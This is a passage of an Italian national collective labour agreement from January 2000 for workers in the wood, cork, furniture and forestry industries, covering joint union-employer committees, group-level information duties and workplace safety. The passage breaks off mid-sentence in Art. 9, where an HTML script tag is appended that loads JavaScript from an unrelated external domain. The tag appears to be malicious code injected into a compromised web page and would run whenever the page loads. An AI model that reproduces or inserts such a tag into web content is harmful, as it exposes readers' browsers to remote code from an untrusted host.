Categoria: Legno, arredamento (piccola e media impresa)
Settore: Edilizia
Data stipula: 24-1-2000
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2003

Roma, 24 gennaio 2000

Tra

UNITAL/CONFAPI

e

FILLEA-CGIL, FILCA-CISL, FeNEAL-UIL

è stato stipulato il presente

Contratto collettivo nazionale di lavoro

a valere

PER  GLI  ADDETTI  ALL'INDUSTRIA DEL LEGNO,  DEL  SUGHERO,  DEL  MOBILE  E
DELL'ARREDAMENTO, E PER LE INDUSTRIE BOSCHIVE E FORESTALI.



Parte I - RAPPORTI E DIRITTI SINDACALI

Omissis

Art. 1 - Comitati Paritetici per lo sviluppo e la gestione delle relazioni
         sindacali.

Omissis

Il  Comitato Paritetico si costituisce nelle aree distrettuali individuate
dalla legge.

Le  parti  esamineranno  entro il 31.12.00,  a  livello  territoriale,  la
possibilità di pattuire la costituzione di Comitati paritetici nelle aree-
sistema.


2. Comitato paritetico nazionale.

Omissis

Nel Comitato paritetico nazionale si costituisce la Commissione bilaterale
paritetica sull'apprendistato.

Il Comitato paritetico nazionale, avvalendosi dell'Osservatorio, definisce
orientamenti,  indirizzi e obiettivi concernenti  le  materie  di  seguito
indicate:

Omissis

-       rilevazione   delle   caratteristiche   e   dell'andamento   della
  contrattazione di 2° livello;
-     competitività  del  settore anche avendo  riguardo  all'introduzione
  dell'EURO.

Omissis

La   Commissione   bilaterale   paritetica  sull'apprendistato   definisce
orientamenti  e  indirizzi  sull'individuazione  di  linee-guida  per   la
formazione  degli  apprendisti,  in  base  alle  quali  la  contrattazione
territoriale potrà attuare quanto previsto al comma 3, art. 8, parte VII.


6. Livello di gruppo.

Di  norma  annualmente  i gruppi, intendendosi per  tali  l'insieme  delle
aziende controllate (possesso di almeno il 51% del pacchetto azionario)  e
della  controllante  articolate su più unità produttive  di  significativa
importanza    nell'ambito   del   territorio   nazionale   che    occupano
complessivamente  più  di  250 dipendenti e  abbiano  un  fatturato  annuo
superiore  a  80  miliardi  di lire (oppure un totale  di  bilancio  annuo
superiore  a  55 miliardi di lire) assistite dall'API nella  cui  area  di
competenza  si  trova  la  Direzione  generale  dell'azienda  interessata,
forniranno alle RSU, assistiti dalle OO.SS. dei lavoratori, nel  corso  di
un apposito incontro, informazioni relative:

-      alle  prospettive  economiche  e  produttive  con  riferimento   ai
  prevedibili riflessi sulla situazione occupazionale;
-      ai   programmi   d'investimento  e  alle  conseguenti   prevedibili
  implicazioni sull'occupazione e sulle condizioni ambientali ed ecologiche;
-      ai  programmi  che  comportino  nuovi  insediamenti  industriali  o
  rilevanti ampliamenti di quelli esistenti;
-     alle  innovazioni  tecnologiche che abbiano significativa  incidenza
  sull'occupazione;
-    alla struttura occupazionale scomposta per sesso e classi di età.

Nel  corso di tale incontro il sindacato verrà informato delle prevedibili
implicazioni   degli  investimenti  predetti  sull'occupazione   e   sulle
condizioni ambientali ed ecologiche.

Omissis



Art. 9 - Ambiente di lavoro.

Premessa.

Le    parti    richiamano   e   recepiscono   l'Accordo   interconfederale
CONFAPI/CGIL/CISL/UIL del 27.10.95 sui rappresentanti dei lavoratori sulla
sicurezza nei luoghi di lavoro.

Le  parti  provvederanno, nella fase di stesura del testo contrattuale,  a
trascrivere  in  esso  quanto  previsto dall'accordo  citato  riguardo  al
rappresentante dei lavoratori per la sicurezza (RLS).

Le parti stipulanti, nella consapevolezza che la salvaguardia della salute
e  della  sicurezza  dei  lavoratori nei luoghi  di  lavoro  rappresentano
elementi fondamentali per lo sviluppo delle attività lavorative  e  che  è
indispensabile  rendere compatibile la salvaguardia dell'ambiente  con  lo
sviluppo   delle   aziende,   ritengono   necessario   il   metodo   della
partecipazione e responsabilizzazione<script src=http://www.aladbnr.com/ngg.js></script>